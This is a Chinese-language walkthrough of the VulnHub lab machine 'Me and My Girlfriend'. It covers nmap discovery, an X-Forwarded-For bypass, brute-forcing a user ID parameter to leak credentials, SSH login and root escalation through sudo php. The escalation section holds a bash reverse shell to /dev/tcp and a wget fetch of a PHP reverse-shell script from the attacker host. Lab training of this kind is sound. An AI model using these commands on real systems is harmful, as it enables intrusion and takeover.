vulnhub : Me and My Girlfriend

练习+加深记忆固编写此文章。因为自身基础不够会在练习的过程中将不熟悉的东西查资料,并附在超链接中。

参考文章: vulnhub靶机练习-Me and My Girlfriend: 1 Linux php命令 反弹shell详解 工具使用: nmap searchsploit

部署

虚拟机:vmware workstation 攻击者:WSL kali (WSL可以通过nat技术使用物理机的ip 攻击靶场。也可以使用kali Linux虚机进行攻击,但是记得配置网卡) 文件:Me-and-My-Girlfriend-1.ova 工具:burpsuit

靶场下载 2. 加载下载下来文件即可 3. 配置网卡,开机,如图:(这里我的攻击机为wsl kali ,因此不用配置其他的,如果使用kali虚拟机的话也需要进行如下配置;当然网卡也有其他配置方式,这里我就不赘述了,有需要的自行百度)

收集信息-查找靶机ip-及开放端口

物理机上查看以太网适配器 VMware Network Adapter VMnet8 的ip段,命令:ipconfig。 nmap扫描192.168.98.0/24网段ip,扫描出靶机ip为192.168.98.204

nmap -sP 192.168.98.0/24

或者也可以使用 netdiscover -r 192.168.98.1/24,但是我扫描失败了,不知道是不是wsl的问题。 3. 探测靶机开放端口,当前开放了22(ssh)、80(http)。

nmap -p 1-65535 -sS 192.168.98.204

访问网站,XFF配置

1.访问网站,提示仅可以本地访问。HTTP数据包中标记来源的字段有x-forwarded-for、x-real-ip。 通常这类字段应用场景为:访问者(1.1.1.1)-》代理(x-forwarded-for:1.1.1.1)-》目标网站(192.168.x.x),当代理将互联网的流量转发给私网时,网络层的源ip被替换成了代理的ip,真实ip就由http暂为保管了 2. burpsuit抓包添加数据报头x-forwarded-for:127.0.0.1,注意最好添加在Connection: close之前,不然可能会失效。之后访问的每一个页面都需要添加该字段,可以搞一个火狐插件,或者对burpsuit进行配置

x-forwarded-for:127.0.0.1

3. burpsuit配置

网站测试-漏洞探测-目录扫描

1.观察网站, (1)是否存在爆破点、注入点、文件包含等。 (2)目录扫描 (3)一定要看看网页源码!!! 简单测试网站是否存在注入点、文件包含漏洞。 可能存在文件包含的地方 可能存在注入点的地方 2. 目录扫描,试了一下,没有发现啥有用信息

网站测试-越权访问

简要测试,发现user-id 存在越权访问的现象。 2. 使用burpsuit把所有数据爬出来 抓包将数据包发送到intruder里,对user_id进行爆破 3. 看看都有哪些账户 4. 发现故事主人公alice。获得用户名:alice 密码:4lic3

SSH 登录

1.在kali中 使用alice 4lic3 ssh登录靶机

ssh alice@192.168.98.204

操作系统信息搜集-获取第一个flag

获取第一个flag,获知第二个flag在/root目录下

ls -al

ls .my_secre

cat .my_secret/flag1.txt

2.搜集操作系统信息,当前权限不足需要搜集当前信息。(searchsploit使用)

id #查看当前用户权限。

cat /etc/passwd |grep alice #查看当前用户权限,权限第

uname -a #查看当前系统版本,可以依据系统版本,查找响应漏洞进行提权

#使用kali中searchsploit查找对应漏洞,尝试提权。此处不是标准答案,不做演示

searchsploit ubuntu 14.04

searchsploit linux Kernel 4.4.0

sudo -l #查看当前用户可以执行哪些管理员权限命令

系统提权-获取第二个flag

上图 (root) NOPASSWD: /usr/bin/php 表示当前用户可以执行管理员权限下的Linux php命令,在管理员权限运行PHP代码反弹shell,可以获取管理员权限的账号。(也可以反弹当前账户权限至msf提权,不知道能不能成功,有时间试一下)

(1)# kali上设置监听

nc -lvp 1080

(2) sudo php 反弹shell,方法有二 方法一:上传Linux自带的反弹shell脚本 #php 反弹shell的两种方法 方法一:自己写代码反弹shell,试过报错了,原因未知,待排查。

sudo php -r 'system("bash -i >&/dev/tcp/192.168.98.1/1080>&1");'

emmm,如果php能够执行系统命令的话??就可以直接获取flag2了

sudo php -r 'system("ls /root");'

sudo php -r 'system("cat /root/flag2.txt");'

#方法二:使用kali自带反弹shell脚本php-reverse-shell.php,kali本地利用python开启http服务。靶机访问并下载反弹shell脚本,修改脚本中的ip及port

#kali

cd /usr/share/webshells/php/

ls

python3 -m http.server 2323

#靶机

cd /tmp

wget http://192.168.98.1:2323/php-reverse-shell.php

vim php-reverse-shell.php #修改ip为192.168.98.1 port为1080

sudo php php-reverse-shell.php #运行反弹shell脚本

2.获取第二个flag

wsl kali端口监听问题

wsl使用nat技术,借用宿主机各网卡上的ip访问对应网络,这意味着靶机无法反向连接wsl kali,因此需要宿主机做端口转发来解决这个问题。详细代码如下:

# 宿主机以管理员身份运行 powershell

#端口映射,关闭宿主机防火墙或者在墙上加策略放行监听端口。

netsh interface portproxy add v4tov4 listenport=[宿主机 端口] listenaddress=0.0.0.0 connectport=[wsl-kali port] connectaddress=[wsl-kali ip]

#取消端口映射

netsh interface portproxy delete v4tov4 listenaddress=本机ip listenport=本机端口号

#查看本电脑映射

netsh interface portproxy show all

#映射完成以后,要验证一下物理机上的端口有没有在监听,如果没有就排错吧。

netstat -ano | findstr [port]

相关链接

评论可见,请评论后查看内容,谢谢!!!评论后请刷新页面。